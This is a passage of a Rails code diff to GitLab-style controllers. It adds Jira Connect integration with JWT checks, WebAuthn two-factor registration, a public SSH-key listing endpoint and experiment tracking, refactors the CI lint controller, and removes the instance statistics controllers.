@@ -89,7 +90,7 @@ class Dashboard::ProjectsController < Dashboard::ApplicationController
def load_events
projects = ProjectsFinder
- .new(params: params.merge(non_public: true), current_user: current_user)
+ .new(params: params.merge(non_public: true, without_deleted: true), current_user: current_user)
.execute
@events = EventCollection
diff --git a/app/controllers/graphql_controller.rb b/app/controllers/graphql_controller.rb
index a1348e4d858..123102bf793 100644
--- a/app/controllers/graphql_controller.rb
+++ b/app/controllers/graphql_controller.rb
@@ -81,7 +81,7 @@ class GraphqlController < ApplicationController
end
def context
- @context ||= { current_user: current_user }
+ @context ||= { current_user: current_user, is_sessionless_user: !!sessionless_user? }
end
def build_variables(variable_info)
@@ -107,4 +107,12 @@ class GraphqlController < ApplicationController
render json: error, status: status
end
+
+ def append_info_to_payload(payload)
+ super
+
+ # Merging to :metadata will ensure these are logged as top level keys
+ payload[:metadata] ||= {}
+ payload[:metadata].merge!(graphql: { operation_name: params[:operationName] })
+ end
end
diff --git a/app/controllers/groups/boards_controller.rb b/app/controllers/groups/boards_controller.rb
index 23d4f0d24e9..ea7e83a2caf 100644
--- a/app/controllers/groups/boards_controller.rb
+++ b/app/controllers/groups/boards_controller.rb
@@ -8,6 +8,7 @@ class Groups::BoardsController < Groups::ApplicationController
before_action :assign_endpoint_vars
before_action do
push_frontend_feature_flag(:multi_select_board, default_enabled: true)
+ push_frontend_feature_flag(:graphql_board_lists, group, default_enabled: false)
push_frontend_feature_flag(:boards_with_swimlanes, group, default_enabled: false)
end
diff --git a/app/controllers/groups/settings/integrations_controller.rb b/app/controllers/groups/settings/integrations_controller.rb
index adfbe9bfa17..e8551a7f270 100644
--- a/app/controllers/groups/settings/integrations_controller.rb
+++ b/app/controllers/groups/settings/integrations_controller.rb
@@ -8,15 +8,19 @@ module Groups
before_action :authorize_admin_group!
def index
- @integrations = []
+ @integrations = Service.find_or_initialize_all(Service.for_group(group)).sort_by(&:title)
+ end
+
+ def edit
+ @default_integration = Service.default_integration(integration.type, group)
+
+ super
end
private
- # TODO: Make this compatible with group-level integration
- # https://gitlab.com/groups/gitlab-org/-/epics/2543
def find_or_initialize_integration(name)
- Project.first.find_or_initialize_service(name)
+ Service.find_or_initialize_integration(name, group_id: group.id)
end
def integrations_enabled?
diff --git a/app/controllers/instance_statistics/application_controller.rb b/app/controllers/instance_statistics/application_controller.rb
deleted file mode 100644
index a273dde105c..00000000000
--- a/app/controllers/instance_statistics/application_controller.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# frozen_string_literal: true
-
-class InstanceStatistics::ApplicationController < ApplicationController
- before_action :authorize_read_instance_statistics!
- layout 'instance_statistics'
-
- def authorize_read_instance_statistics!
- render_404 unless can?(current_user, :read_instance_statistics)
- end
-end
diff --git a/app/controllers/instance_statistics/cohorts_controller.rb b/app/controllers/instance_statistics/cohorts_controller.rb
deleted file mode 100644
index 0de62a56b01..00000000000
--- a/app/controllers/instance_statistics/cohorts_controller.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-class InstanceStatistics::CohortsController < InstanceStatistics::ApplicationController
- include Analytics::UniqueVisitsHelper
-
- before_action :authenticate_usage_ping_enabled_or_admin!
-
- track_unique_visits :index, target_id: 'i_analytics_cohorts'
-
- def index
- if Gitlab::CurrentSettings.usage_ping_enabled
- cohorts_results = Rails.cache.fetch('cohorts', expires_in: 1.day) do
- CohortsService.new.execute
- end
-
- @cohorts = CohortsSerializer.new.represent(cohorts_results)
- end
- end
-
- def authenticate_usage_ping_enabled_or_admin!
- render_404 unless Gitlab::CurrentSettings.usage_ping_enabled || current_user.admin?
- end
-end
diff --git a/app/controllers/instance_statistics/dev_ops_score_controller.rb b/app/controllers/instance_statistics/dev_ops_score_controller.rb
deleted file mode 100644
index b98a1bf7f99..00000000000
--- a/app/controllers/instance_statistics/dev_ops_score_controller.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-class InstanceStatistics::DevOpsScoreController < InstanceStatistics::ApplicationController
- include Analytics::UniqueVisitsHelper
-
- track_unique_visits :index, target_id: 'i_analytics_dev_ops_score'
-
- # rubocop: disable CodeReuse/ActiveRecord
- def index
- @metric = DevOpsScore::Metric.order(:created_at).last&.present
- end
- # rubocop: enable CodeReuse/ActiveRecord
-end
diff --git a/app/controllers/invites_controller.rb b/app/controllers/invites_controller.rb
index 29cafbbbdb6..aa9c7d01ba3 100644
--- a/app/controllers/invites_controller.rb
+++ b/app/controllers/invites_controller.rb
@@ -12,11 +12,13 @@ class InvitesController < ApplicationController
respond_to :html
def show
+ track_experiment('opened')
accept if skip_invitation_prompt?
end
def accept
if member.accept_invite!(current_user)
+ track_experiment('accepted')
redirect_to invite_details[:path], notice: _("You have been granted %{member_human_access} access to %{title} %{name}.") %
{ member_human_access: member.human_access, title: invite_details[:title], name: invite_details[:name] }
else
@@ -74,8 +76,14 @@ class InvitesController < ApplicationController
notice << "or create an account" if Gitlab::CurrentSettings.allow_signup?
notice = notice.join(' ') + "."
+ # this is temporary finder instead of using member method due to render_404 possibility
+ # will be resolved via https://gitlab.com/gitlab-org/gitlab/-/issues/245325
+ initial_member = Member.find_by_invite_token(params[:id])
+ redirect_params = initial_member ? { invite_email: initial_member.invite_email } : {}
+
store_location_for :user, request.fullpath
- redirect_to new_user_session_path(invite_email: member.invite_email), notice: notice
+
+ redirect_to new_user_session_path(redirect_params), notice: notice
end
def invite_details
@@ -96,4 +104,17 @@ class InvitesController < ApplicationController
}
end
end
+
+ def track_experiment(action)
+ return unless params[:new_user_invite]
+
+ property = params[:new_user_invite] == 'experiment' ? 'experiment_group' : 'control_group'
+
+ Gitlab::Tracking.event(
+ Gitlab::Experimentation::EXPERIMENTS[:invite_email][:tracking_category],
+ action,
+ property: property,
+ label: Digest::MD5.hexdigest(member.to_global_id.to_s)
+ )
+ end
end
diff --git a/app/controllers/jira_connect/app_descriptor_controller.rb b/app/controllers/jira_connect/app_descriptor_controller.rb
new file mode 100644
index 00000000000..bf53c61601b
--- /dev/null
+++ b/app/controllers/jira_connect/app_descriptor_controller.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+# This returns an app descriptor for use with Jira in development mode
+# For the Atlassian Marketplace, a static copy of this JSON is uploaded to the marketplace
+# https://developer.atlassian.com/cloud/jira/platform/app-descriptor/
+
+class JiraConnect::AppDescriptorController < JiraConnect::ApplicationController
+ skip_before_action :verify_atlassian_jwt!
+
+ def show
+ render json: {
+ name: Atlassian::JiraConnect.app_name,
+ description: 'Integrate commits, branches and merge requests from GitLab into Jira',
+ key: Atlassian::JiraConnect.app_key,
+ baseUrl: jira_connect_base_url(protocol: 'https'),
+ lifecycle: {
+ installed: relative_to_base_path(jira_connect_events_installed_path),
+ uninstalled: relative_to_base_path(jira_connect_events_uninstalled_path)
+ },
+ vendor: {
+ name: 'GitLab',
+ url: 'https://gitlab.com'
+ },
+ links: {
+ documentation: help_page_url('integration/jira_development_panel', anchor: 'gitlabcom-1')
+ },
+ authentication: {
+ type: 'jwt'
+ },
+ scopes: %w(READ WRITE DELETE),
+ apiVersion: 1,
+ modules: {
+ jiraDevelopmentTool: {
+ key: 'gitlab-development-tool',
+ application: {
+ value: 'GitLab'
+ },
+ name: {
+ value: 'GitLab'
+ },
+ url: 'https://gitlab.com',
+ logoUrl: view_context.image_url('gitlab_logo.png'),
+ capabilities: %w(branch commit pull_request)
+ },
+ postInstallPage: {
+ key: 'gitlab-configuration',
+ name: {
+ value: 'GitLab Configuration'
+ },
+ url: relative_to_base_path(jira_connect_subscriptions_path)
+ }
+ },
+ apiMigrations: {
+ gdpr: true
+ }
+ }
+ end
+
+ private
+
+ def relative_to_base_path(full_path)
+ full_path.sub(/^#{jira_connect_base_path}/, '')
+ end
+end
diff --git a/app/controllers/jira_connect/application_controller.rb b/app/controllers/jira_connect/application_controller.rb
new file mode 100644
index 00000000000..a84f25998a6
--- /dev/null
+++ b/app/controllers/jira_connect/application_controller.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+class JiraConnect::ApplicationController < ApplicationController
+ include Gitlab::Utils::StrongMemoize
+
+ skip_before_action :authenticate_user!
+ skip_before_action :verify_authenticity_token
+ before_action :verify_atlassian_jwt!
+
+ attr_reader :current_jira_installation
+
+ private
+
+ def verify_atlassian_jwt!
+ return render_403 unless atlassian_jwt_valid?
+
+ @current_jira_installation = installation_from_jwt
+ end
+
+ def verify_qsh_claim!
+ payload, _ = decode_auth_token!
+
+ # Make sure `qsh` claim matches the current request
+ render_403 unless payload['qsh'] == Atlassian::Jwt.create_query_string_hash(request.url, request.method, jira_connect_base_url)
+ rescue
+ render_403
+ end
+
+ def atlassian_jwt_valid?
+ return false unless installation_from_jwt
+
+ # Verify JWT signature with our stored `shared_secret`
+ decode_auth_token!
+ rescue JWT::DecodeError
+ false
+ end
+
+ def installation_from_jwt
+ return unless auth_token
+
+ strong_memoize(:installation_from_jwt) do
+ # Decode without verification to get `client_key` in `iss`
+ payload, _ = Atlassian::Jwt.decode(auth_token, nil, false)
+ JiraConnectInstallation.find_by_client_key(payload['iss'])
+ end
+ end
+
+ def decode_auth_token!
+ Atlassian::Jwt.decode(auth_token, installation_from_jwt.shared_secret)
+ end
+
+ def auth_token
+ strong_memoize(:auth_token) do
+ params[:jwt] || request.headers['Authorization']&.split(' ', 2)&.last
+ end
+ end
+end
diff --git a/app/controllers/jira_connect/events_controller.rb b/app/controllers/jira_connect/events_controller.rb
new file mode 100644
index 00000000000..8f79c82d847
--- /dev/null
+++ b/app/controllers/jira_connect/events_controller.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class JiraConnect::EventsController < JiraConnect::ApplicationController
+ skip_before_action :verify_atlassian_jwt!, only: :installed
+ before_action :verify_qsh_claim!, only: :uninstalled
+
+ def installed
+ installation = JiraConnectInstallation.new(install_params)
+
+ if installation.save
+ head :ok
+ else
+ head :unprocessable_entity
+ end
+ end
+
+ def uninstalled
+ if current_jira_installation.destroy
+ head :ok
+ else
+ head :unprocessable_entity
+ end
+ end
+
+ private
+
+ def install_params
+ params.permit(:clientKey, :sharedSecret, :baseUrl).transform_keys(&:underscore)
+ end
+end
diff --git a/app/controllers/jira_connect/subscriptions_controller.rb b/app/controllers/jira_connect/subscriptions_controller.rb
new file mode 100644
index 00000000000..3ff12f29f10
--- /dev/null
+++ b/app/controllers/jira_connect/subscriptions_controller.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+class JiraConnect::SubscriptionsController < JiraConnect::ApplicationController
+ layout 'jira_connect'
+
+ content_security_policy do |p|
+ next if p.directives.blank?
+
+ # rubocop: disable Lint/PercentStringArray
+ script_src_values = Array.wrap(p.directives['script-src']) | %w('self' https://connect-cdn.atl-paas.net https://unpkg.com/jquery@3.3.1/)
+ style_src_values = Array.wrap(p.directives['style-src']) | %w('self' 'unsafe-inline' https://unpkg.com/@atlaskit/)
+ # rubocop: enable Lint/PercentStringArray
+
+ p.frame_ancestors :self, 'https://*.atlassian.net'
+ p.script_src(*script_src_values)
+ p.style_src(*style_src_values)
+ end
+
+ before_action :allow_rendering_in_iframe, only: :index
+ before_action :verify_qsh_claim!, only: :index
+ before_action :authenticate_user!, only: :create
+
+ def index
+ @subscriptions = current_jira_installation.subscriptions.preload_namespace_route
+ end
+
+ def create
+ result = create_service.execute
+
+ if result[:status] == :success
+ render json: { success: true }
+ else
+ render json: { error: result[:message] }, status: result[:http_status]
+ end
+ end
+
+ def destroy
+ subscription = current_jira_installation.subscriptions.find(params[:id])
+
+ if subscription.destroy
+ render json: { success: true }
+ else
+ render json: { error: subscription.errors.full_messages.join(', ') }, status: :unprocessable_entity
+ end
+ end
+
+ private
+
+ def create_service
+ JiraConnectSubscriptions::CreateService.new(current_jira_installation, current_user, namespace_path: params['namespace_path'])
+ end
+
+ def allow_rendering_in_iframe
+ response.headers.delete('X-Frame-Options')
+ end
+end
diff --git a/app/controllers/oauth/jira/authorizations_controller.rb b/app/controllers/oauth/jira/authorizations_controller.rb
new file mode 100644
index 00000000000..f552b0dc10c
--- /dev/null
+++ b/app/controllers/oauth/jira/authorizations_controller.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+# This controller's role is to mimic and rewire the GitLab OAuth
+# flow routes for Jira DVCS integration.
+# See https://gitlab.com/gitlab-org/gitlab/issues/2381
+#
+class Oauth::Jira::AuthorizationsController < ApplicationController
+ skip_before_action :authenticate_user!
+ skip_before_action :verify_authenticity_token
+
+ # 1. Rewire Jira OAuth initial request to our stablished OAuth authorization URL.
+ def new
+ session[:redirect_uri] = params['redirect_uri']
+
+ redirect_to oauth_authorization_path(client_id: params['client_id'],
+ response_type: 'code',
+ scope: params['scope'],
+ redirect_uri: oauth_jira_callback_url)
+ end
+
+ # 2. Handle the callback call as we were a Github Enterprise instance client.
+ def callback
+ # Handling URI query params concatenation.
+ redirect_uri = URI.parse(session['redirect_uri'])
+ new_query = URI.decode_www_form(String(redirect_uri.query)) << ['code', params[:code]]
+ redirect_uri.query = URI.encode_www_form(new_query)
+
+ redirect_to redirect_uri.to_s
+ end
+
+ # 3. Rewire and adjust access_token request accordingly.
+ def access_token
+ # We have to modify request.parameters because Doorkeeper::Server reads params from there
+ request.parameters[:redirect_uri] = oauth_jira_callback_url
+
+ strategy = Doorkeeper::Server.new(self).token_request('authorization_code')
+ response = strategy.authorize
+
+ if response.status == :ok
+ access_token, scope, token_type = response.body.values_at('access_token', 'scope', 'token_type')
+
+ render body: "access_token=#{access_token}&scope=#{scope}&token_type=#{token_type}"
+ else
+ render status: response.status, body: response.body
+ end
+ rescue Doorkeeper::Errors::DoorkeeperError => e
+ render status: :unauthorized, body: e.type
+ end
+end
diff --git a/app/controllers/omniauth_callbacks_controller.rb b/app/controllers/omniauth_callbacks_controller.rb
index a558b01f0c6..b798d6680bc 100644
--- a/app/controllers/omniauth_callbacks_controller.rb
+++ b/app/controllers/omniauth_callbacks_controller.rb
@@ -83,6 +83,10 @@ class OmniauthCallbacksController < Devise::OmniauthCallbacksController
end
end
+ def atlassian_oauth2
+ omniauth_flow(Gitlab::Auth::Atlassian)
+ end
+
private
def log_failed_login(user, provider)
diff --git a/app/controllers/passwords_controller.rb b/app/controllers/passwords_controller.rb
index af860297358..c27226c3f3f 100644
--- a/app/controllers/passwords_controller.rb
+++ b/app/controllers/passwords_controller.rb
@@ -31,8 +31,10 @@ class PasswordsController < Devise::PasswordsController
def update
super do |resource|
- if resource.valid? && resource.password_automatically_set?
- resource.update_attribute(:password_automatically_set, false)
+ if resource.valid?
+ resource.password_automatically_set = false
+ resource.password_expires_at = nil
+ resource.save(validate: false) if resource.changed?
end
end
end
diff --git a/app/controllers/profiles/accounts_controller.rb b/app/controllers/profiles/accounts_controller.rb
index 95e055a44db..b19285e98bb 100644
--- a/app/controllers/profiles/accounts_controller.rb
+++ b/app/controllers/profiles/accounts_controller.rb
@@ -7,10 +7,9 @@ class Profiles::AccountsController < Profiles::ApplicationController
render(locals: show_view_variables)
end
- # rubocop: disable CodeReuse/ActiveRecord
def unlink
provider = params[:provider]
- identity = current_user.identities.find_by(provider: provider)
+ identity = find_identity(provider)
return render_404 unless identity
@@ -22,13 +21,18 @@ class Profiles::AccountsController < Profiles::ApplicationController
redirect_to profile_account_path
end
- # rubocop: enable CodeReuse/ActiveRecord
private
def show_view_variables
{}
end
+
+ def find_identity(provider)
+ return current_user.atlassian_identity if provider == 'atlassian_oauth2'
+
+ current_user.identities.find_by(provider: provider) # rubocop: disable CodeReuse/ActiveRecord
+ end
end
Profiles::AccountsController.prepend_if_ee('EE::Profiles::AccountsController')
diff --git a/app/controllers/profiles/keys_controller.rb b/app/controllers/profiles/keys_controller.rb
index 99e1b9027fa..965493955ac 100644
--- a/app/controllers/profiles/keys_controller.rb
+++ b/app/controllers/profiles/keys_controller.rb
@@ -1,6 +1,8 @@
# frozen_string_literal: true
class Profiles::KeysController < Profiles::ApplicationController
+ skip_before_action :authenticate_user!, only: [:get_keys]
+
def index
@keys = current_user.keys.order_id_desc
@key = Key.new
@@ -31,6 +33,25 @@ class Profiles::KeysController < Profiles::ApplicationController
end
end
+ # Get all keys of a user(params[:username]) in a text format
+ # Helpful for sysadmins to put in respective servers
+ def get_keys
+ if params[:username].present?
+ begin
+ user = UserFinder.new(params[:username]).find_by_username
+ if user.present?
+ render plain: user.all_ssh_keys.join("\n")
+ else
+ render_404
+ end
+ rescue => e
+ render html: e.message
+ end
+ else
+ render_404
+ end
+ end
+
private
def key_params
diff --git a/app/controllers/profiles/notifications_controller.rb b/app/controllers/profiles/notifications_controller.rb
index 064b2a2cc12..bc51830c119 100644
--- a/app/controllers/profiles/notifications_controller.rb
+++ b/app/controllers/profiles/notifications_controller.rb
@@ -4,12 +4,9 @@ class Profiles::NotificationsController < Profiles::ApplicationController
# rubocop: disable CodeReuse/ActiveRecord
def show
@user = current_user
- @group_notifications = current_user.notification_settings.preload_source_route.for_groups.order(:id)
- @group_notifications += GroupsFinder.new(
- current_user,
- all_available: false,
- exclude_group_ids: @group_notifications.select(:source_id)
- ).execute.map { |group| current_user.notification_settings_for(group, inherit: true) }
+ @user_groups = user_groups
+ @group_notifications = UserGroupNotificationSettingsFinder.new(current_user, user_groups).execute
+
@project_notifications = current_user.notification_settings.for_projects.order(:id)
.preload_source_route
.select { |notification| current_user.can?(:read_project, notification.source) }
@@ -32,4 +29,10 @@ class Profiles::NotificationsController < Profiles::ApplicationController
def user_params
params.require(:user).permit(:notification_email, :notified_of_own_activity)
end
+
+ private
+
+ def user_groups
+ GroupsFinder.new(current_user, all_available: false).execute.order_name_asc.page(params[:page])
+ end
end
diff --git a/app/controllers/profiles/preferences_controller.rb b/app/controllers/profiles/preferences_controller.rb
index 8653fe3b6ed..ea4d3e861be 100644
--- a/app/controllers/profiles/preferences_controller.rb
+++ b/app/controllers/profiles/preferences_controller.rb
@@ -51,6 +51,7 @@ class Profiles::PreferencesController < Profiles::ApplicationController
:view_diffs_file_by_file,
:tab_width,
:sourcegraph_enabled,
+ :gitpod_enabled,
:render_whitespace_in_code
]
end
diff --git a/app/controllers/profiles/two_factor_auths_controller.rb b/app/controllers/profiles/two_factor_auths_controller.rb
index 50fbf8146e5..5de6d84fdd9 100644
--- a/app/controllers/profiles/two_factor_auths_controller.rb
+++ b/app/controllers/profiles/two_factor_auths_controller.rb
@@ -2,6 +2,9 @@
class Profiles::TwoFactorAuthsController < Profiles::ApplicationController
skip_before_action :check_two_factor_requirement
+ before_action do
+ push_frontend_feature_flag(:webauthn)
+ end
def show
unless current_user.two_factor_enabled?
@@ -33,7 +36,12 @@ class Profiles::TwoFactorAuthsController < Profiles::ApplicationController
@qr_code = build_qr_code
@account_string = account_string
- setup_u2f_registration
+
+ if Feature.enabled?(:webauthn)
+ setup_webauthn_registration
+ else
+ setup_u2f_registration
+ end
end
def create
@@ -48,7 +56,13 @@ class Profiles::TwoFactorAuthsController < Profiles::ApplicationController
else
@error = _('Invalid pin code')
@qr_code = build_qr_code
- setup_u2f_registration
+
+ if Feature.enabled?(:webauthn)
+ setup_webauthn_registration
+ else
+ setup_u2f_registration
+ end
+
render 'show'
end
end
@@ -56,7 +70,7 @@ class Profiles::TwoFactorAuthsController < Profiles::ApplicationController
# A U2F (universal 2nd factor) device's information is stored after successful
# registration, which is then used while 2FA authentication is taking place.
def create_u2f
- @u2f_registration = U2fRegistration.register(current_user, u2f_app_id, u2f_registration_params, session[:challenges])
+ @u2f_registration = U2fRegistration.register(current_user, u2f_app_id, device_registration_params, session[:challenges])
if @u2f_registration.persisted?
session.delete(:challenges)
@@ -68,6 +82,21 @@ class Profiles::TwoFactorAuthsController < Profiles::ApplicationController
end
end
+ def create_webauthn
+ @webauthn_registration = Webauthn::RegisterService.new(current_user, device_registration_params, session[:challenge]).execute
+ if @webauthn_registration.persisted?
+ session.delete(:challenge)
+
+ redirect_to profile_two_factor_auth_path, notice: s_("Your WebAuthn device was registered!")
+ else
+ @qr_code = build_qr_code
+
+ setup_webauthn_registration
+
+ render :show
+ end
+ end
+
def codes
Users::UpdateService.new(current_user, user: current_user).execute! do |user|
@codes = user.generate_otp_backup_codes!
@@ -75,9 +104,13 @@ class Profiles::TwoFactorAuthsController < Profiles::ApplicationController
end
def destroy
- current_user.disable_two_factor!
+ result = TwoFactor::DestroyService.new(current_user, user: current_user).execute
- redirect_to profile_account_path, status: :found
+ if result[:status] == :success
+ redirect_to profile_account_path, status: :found, notice: s_('Two-factor authentication has been disabled successfully!')
+ else
+ redirect_to profile_account_path, status: :found, alert: result[:message]
+ end
end
def skip
@@ -108,11 +141,11 @@ class Profiles::TwoFactorAuthsController < Profiles::ApplicationController
# Actual communication is performed using a Javascript API
def setup_u2f_registration
@u2f_registration ||= U2fRegistration.new
- @u2f_registrations = current_user.u2f_registrations
+ @registrations = u2f_registrations
u2f = U2F::U2F.new(u2f_app_id)
registration_requests = u2f.registration_requests
- sign_requests = u2f.authentication_requests(@u2f_registrations.map(&:key_handle))
+ sign_requests = u2f.authentication_requests(current_user.u2f_registrations.map(&:key_handle))
session[:challenges] = registration_requests.map(&:challenge)
gon.push(u2f: { challenges: session[:challenges], app_id: u2f_app_id,
@@ -120,8 +153,53 @@ class Profiles::TwoFactorAuthsController < Profiles::ApplicationController
sign_requests: sign_requests })
end
- def u2f_registration_params
- params.require(:u2f_registration).permit(:device_response, :name)
+ def device_registration_params
+ params.require(:device_registration).permit(:device_response, :name)
+ end
+
+ def setup_webauthn_registration
+ @registrations = webauthn_registrations
+ @webauthn_registration ||= WebauthnRegistration.new
+
+ unless current_user.webauthn_xid
+ current_user.user_detail.update!(webauthn_xid: WebAuthn.generate_user_id)
+ end
+
+ options = webauthn_options
+ session[:challenge] = options.challenge
+
+ gon.push(webauthn: { options: options, app_id: u2f_app_id })
+ end
+
+ # Adds delete path to u2f registrations
+ # to reduce logic in view template
+ def u2f_registrations
+ current_user.u2f_registrations.map do |u2f_registration|
+ {
+ name: u2f_registration.name,
+ created_at: u2f_registration.created_at,
+ delete_path: profile_u2f_registration_path(u2f_registration)
+ }
+ end
+ end
+
+ def webauthn_registrations
+ current_user.webauthn_registrations.map do |webauthn_registration|
+ {
+ name: webauthn_registration.name,
+ created_at: webauthn_registration.created_at,
+ delete_path: profile_webauthn_registration_path(webauthn_registration)
+ }
+ end
+ end
+
+ def webauthn_options
+ WebAuthn::Credential.options_for_create(
+ user: { id: current_user.webauthn_xid, name: current_user.username },
+ exclude: current_user.webauthn_registrations.map { |c| c.credential_xid },
+ authenticator_selection: { user_verification: 'discouraged' },
+ rp: { name: 'GitLab' }
+ )
end
def groups_notification(groups)
@@ -129,6 +207,6 @@ class Profiles::TwoFactorAuthsController < Profiles::ApplicationController
leave_group_links = groups.map { |group| view_context.link_to (s_("leave %{group_name}") % { group_name: group.full_name }), leave_group_members_path(group), remote: false, method: :delete}.to_sentence
s_(%{The group settings for %{group_links} require you to enable Two-Factor Authentication for your account. You can %{leave_group_links}.})
- .html_safe % { group_links: group_links.html_safe, leave_group_links: leave_group_links.html_safe }
+ .html_safe % { group_links: group_links.html_safe, leave_group_links: leave_group_links.html_safe }
end
end
diff --git a/app/controllers/profiles/webauthn_registrations_controller.rb b/app/controllers/profiles/webauthn_registrations_controller.rb
new file mode 100644
index 00000000000..81b1dd6f710
--- /dev/null
+++ b/app/controllers/profiles/webauthn_registrations_controller.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class Profiles::WebauthnRegistrationsController < Profiles::ApplicationController
+ def destroy
+ webauthn_registration = current_user.webauthn_registrations.find(params[:id])
+ webauthn_registration.destroy
+
+ redirect_to profile_two_factor_auth_path, status: :found, notice: _("Successfully deleted WebAuthn device.")
+ end
+end
diff --git a/app/controllers/profiles_controller.rb b/app/controllers/profiles_controller.rb
index c9f46eb72c5..248d5755d92 100644
--- a/app/controllers/profiles_controller.rb
+++ b/app/controllers/profiles_controller.rb
@@ -6,6 +6,9 @@ class ProfilesController < Profiles::ApplicationController
before_action :user
before_action :authorize_change_username!, only: :update_username
skip_before_action :require_email, only: [:show, :update]
+ before_action do
+ push_frontend_feature_flag(:webauthn)
+ end
def show
end
@@ -101,6 +104,7 @@ class ProfilesController < Profiles::ApplicationController
:bio,
:email,
:role,
+ :gitpod_enabled,
:hide_no_password,
:hide_no_ssh_key,
:hide_project_limit,
diff --git a/app/controllers/projects/application_controller.rb b/app/controllers/projects/application_controller.rb
index 518d414be1b..ca2692438e8 100644
--- a/app/controllers/projects/application_controller.rb
+++ b/app/controllers/projects/application_controller.rb
@@ -58,9 +58,9 @@ class Projects::ApplicationController < ApplicationController
def method_missing(method_sym, *arguments, &block)
case method_sym.to_s
when /\Aauthorize_(.*)!\z/
- authorize_action!($1.to_sym)
+ authorize_action!(Regexp.last_match(1).to_sym)
when /\Acheck_(.*)_available!\z/
- check_project_feature_available!($1.to_sym)
+ check_project_feature_available!(Regexp.last_match(1).to_sym)
else
super
end
diff --git a/app/controllers/projects/badges_controller.rb b/app/controllers/projects/badges_controller.rb
index 59a7dff680c..eb47fec2b7e 100644
--- a/app/controllers/projects/badges_controller.rb
+++ b/app/controllers/projects/badges_controller.rb
@@ -9,6 +9,7 @@ class Projects::BadgesController < Projects::ApplicationController
def pipeline
pipeline_status = Gitlab::Badge::Pipeline::Status
.new(project, params[:ref], opts: {
+ ignore_skipped: params[:ignore_skipped],
key_text: params[:key_text],
key_width: params[:key_width]
})
diff --git a/app/controllers/projects/blob_controller.rb b/app/controllers/projects/blob_controller.rb
index d969e7bf771..1568d9966dd 100644
--- a/app/controllers/projects/blob_controller.rb
+++ b/app/controllers/projects/blob_controller.rb
@@ -10,6 +10,8 @@ class Projects::BlobController < Projects::ApplicationController
include RedirectsForMissingPathOnTree
include SourcegraphDecorator
include DiffHelper
+ include RedisTracking
+ extend ::Gitlab::Utils::Override
prepend_before_action :authenticate_user!, only: [:edit]
@@ -33,8 +35,11 @@ class Projects::BlobController < Projects::ApplicationController
before_action only: :show do
push_frontend_feature_flag(:code_navigation, @project, default_enabled: true)
push_frontend_feature_flag(:suggest_pipeline) if experiment_enabled?(:suggest_pipeline)
+ push_frontend_feature_flag(:gitlab_ci_yml_preview, @project, default_enabled: false)
end
+ track_redis_hll_event :create, :update, name: 'g_edit_by_sfe', feature: :track_editor_edit_actions, feature_default_enabled: true
+
def new
commit unless @repository.empty?
end
@@ -99,8 +104,6 @@ class Projects::BlobController < Projects::ApplicationController
end
def diff
- apply_diff_view_cookie!
-
@form = Blobs::UnfoldPresenter.new(blob, diff_params)
# keep only json rendering when
@@ -256,4 +259,9 @@ class Projects::BlobController < Projects::ApplicationController
def diff_params
params.permit(:full, :since, :to, :bottom, :unfold, :offset, :indent)
end
+
+ override :visitor_id
+ def visitor_id
+ current_user&.id
+ end
end
diff --git a/app/controllers/projects/boards_controller.rb b/app/controllers/projects/boards_controller.rb
index db05da0bb7f..5ed35094476 100644
--- a/app/controllers/projects/boards_controller.rb
+++ b/app/controllers/projects/boards_controller.rb
@@ -9,6 +9,7 @@ class Projects::BoardsController < Projects::ApplicationController
before_action :assign_endpoint_vars
before_action do
push_frontend_feature_flag(:multi_select_board, default_enabled: true)
+ push_frontend_feature_flag(:boards_with_swimlanes, project, default_enabled: false)
end
private
diff --git a/app/controllers/projects/ci/lints_controller.rb b/app/controllers/projects/ci/lints_controller.rb
index c13baaea8c6..813a0a9ddd5 100644
--- a/app/controllers/projects/ci/lints_controller.rb
+++ b/app/controllers/projects/ci/lints_controller.rb
@@ -2,6 +2,9 @@
class Projects::Ci::LintsController < Projects::ApplicationController
before_action :authorize_create_pipeline!
+ before_action do
+ push_frontend_feature_flag(:ci_lint_vue, project)
+ end
def show
end
@@ -10,40 +13,15 @@ class Projects::Ci::LintsController < Projects::ApplicationController
@content = params[:content]
@dry_run = params[:dry_run]
- if @dry_run && Gitlab::Ci::Features.lint_creates_pipeline_with_dry_run?(@project)
- pipeline = Ci::CreatePipelineService
- .new(@project, current_user, ref: @project.default_branch)
- .execute(:push, dry_run: true, content: @content)
-
- @status = pipeline.error_messages.empty?
- @stages = pipeline.stages
- @errors = pipeline.error_messages.map(&:content)
- @warnings = pipeline.warning_messages.map(&:content)
- else
- result = Gitlab::Ci::YamlProcessor.new_with_validation_errors(@content, yaml_processor_options)
+ @result = Gitlab::Ci::Lint
+ .new(project: @project, current_user: current_user)
+ .validate(@content, dry_run: @dry_run)
- @status = result.valid?
- @errors = result.errors
- @warnings = result.warnings
-
- if result.valid?
- @config_processor = result.config
- @stages = @config_processor.stages
- @builds = @config_processor.builds
- @jobs = @config_processor.jobs
+ respond_to do |format|
+ format.html { render :show }
+ format.json do
+ render json: ::Ci::Lint::ResultSerializer.new.represent(@result)
end
end
-
- render :show
- end
-
- private
-
- def yaml_processor_options
- {
- project: @project,
- user: current_user,
- sha: project.repository.commit.sha
- }
end
end
diff --git a/app/controllers/projects/forks_controller.rb b/app/controllers/projects/forks_controller.rb
index 41631aea620..c6b6b825bb7 100644
--- a/app/controllers/projects/forks_controller.rb
+++ b/app/controllers/projects/forks_controller.rb
@@ -43,9 +43,10 @@ class Projects::ForksController < Projects::ApplicationController
end
format.json do
- namespaces = fork_service.valid_fork_targets - [current_user.namespace, project.namespace]
+ namespaces = load_namespaces_with_associations - [project.namespace]
+
render json: {
- namespaces: ForkNamespaceSerializer.new.represent(namespaces, project: project, current_user: current_user)
+ namespaces: ForkNamespaceSerializer.new.represent(namespaces, project: project, current_user: current_user, memberships: memberships_hash)
}
end
end
@@ -100,6 +101,14 @@ class Projects::ForksController < Projects::ApplicationController
def whitelist_query_limiting
Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42335')
end
+
